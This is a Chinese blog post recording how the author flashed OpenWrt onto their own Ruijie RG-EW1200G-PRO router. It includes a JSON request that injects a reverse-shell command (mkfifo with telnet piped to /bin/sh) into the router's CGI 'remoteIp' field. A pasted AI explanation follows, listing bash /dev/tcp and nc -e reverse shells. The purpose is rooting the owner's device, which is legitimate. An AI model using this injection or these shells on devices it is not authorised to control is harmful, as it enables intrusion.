Ruijie-RG-EW1200G-PRO-v1.0刷入openwrt记录

没找到v1.0的教程,找到下面v1.1的教程,也是可以的

https://openwrt.org/toh/ruijie/rg-ew1200g_pro_v1.1

https://github.com/vccy118/Ruijie-RG-EW1200G-PRO-v1.1-Rootshell

 

先给它刷入指定版本的官方镜像

 

电脑用网线连接路由器的lan口,设置静态ip 192.168.110.x

 

获取cgi地址

 

使用postman发送指定数据包到这个cgi接口地址

 

json如下:

{
    "method": "devConfig.get",
    "params": {
        "module": "123",
        "remoteIp": "$(mkfifo /tmp/test;telnet <your windows machine ip> 6666 0</tmp/test|/bin/sh > /tmp/test)",
        "data": {
            "kkk": "abc"
        }
    }
}

  

 

顺便让DeepSeek分析了mkfifo那一行命令的作用

1. 命令分解

mkfifo /tmp/test; telnet 192.168.110.2 6666 0</tmp/test | /bin/sh >/tmp/test

可以拆解为:

    1. mkfifo /tmp/test
      → 创建一个命名管道(FIFO)文件 /tmp/test,用于进程间通信。

    2. telnet 192.168.110.2 6666 0</tmp/test
      → 使用 telnet 连接到 192.168.110.2 的 6666 端口,并将 /tmp/test 作为标准输入(0<)。

    3. | /bin/sh
      → 将 telnet 的输出(从远程服务器接收的数据)传递给 /bin/sh(Shell)执行。

    4. >/tmp/test
      → 将 /bin/sh 的执行结果(标准输出)写入 /tmp/test

2. 数据流向

这个命令建立了一个 双向通信管道:

  1. 远程攻击者(192.168.110.2:6666) 发送命令到 telnet

  2. telnet 将接收到的命令传给 /bin/sh 执行。

  3. /bin/sh 的执行结果写入 /tmp/test

  4. telnet 从 /tmp/test 读取执行结果,并发送回攻击者的机器。

相当于:

攻击者发送命令 → telnet → /bin/sh 执行 → 结果返回 → 攻击者

3. 为什么这是一个反向 Shell?

  • 通常的 Telnet/SSH 是 客户端主动连接服务器,但这里是:

    • 受害机器(运行该命令)主动连接攻击者的监听端口(6666)。

    • 攻击者可以在自己的机器上控制受害者的 Shell。

  • 由于使用了 FIFO 管道,攻击者可以 交互式地发送命令并获取返回结果。


4. 类似的反向 Shell 实现方式

这个技巧类似于以下方式:

bash -i >& /dev/tcp/192.168.110.2/6666 0>&1

nc -e /bin/sh 192.168.110.2 6666

但这里使用了 mkfifo + telnet 的组合,更加隐蔽(某些系统可能没有 nc 或 /dev/tcp 支持)。


5. 安全问题

  • 这是一个典型的后门命令,用于在入侵后维持访问权限。

  • 防御措施:

    • 使用防火墙限制外连(如 iptablesufw)。

    • 监控异常网络连接(如 netstat -antp)。

    • 检查可疑进程(如 ps aux | grep telnet)。

 

 

 

测试能否发送指令,找一个文件服务器,把文件上传上去,使用wget下载到/tmp里面

 

 查询一下分区结构

 

 刷写完成它会断开连接,自动重启,等待重启完成

 

把以太网卡改回自动获取ip,访问路由器ip,就可以看到熟悉的OpenWRT了

 

posted @ 2025-06-04 18:39  sherlock-merlin  阅读(310)  评论(0)    收藏  举报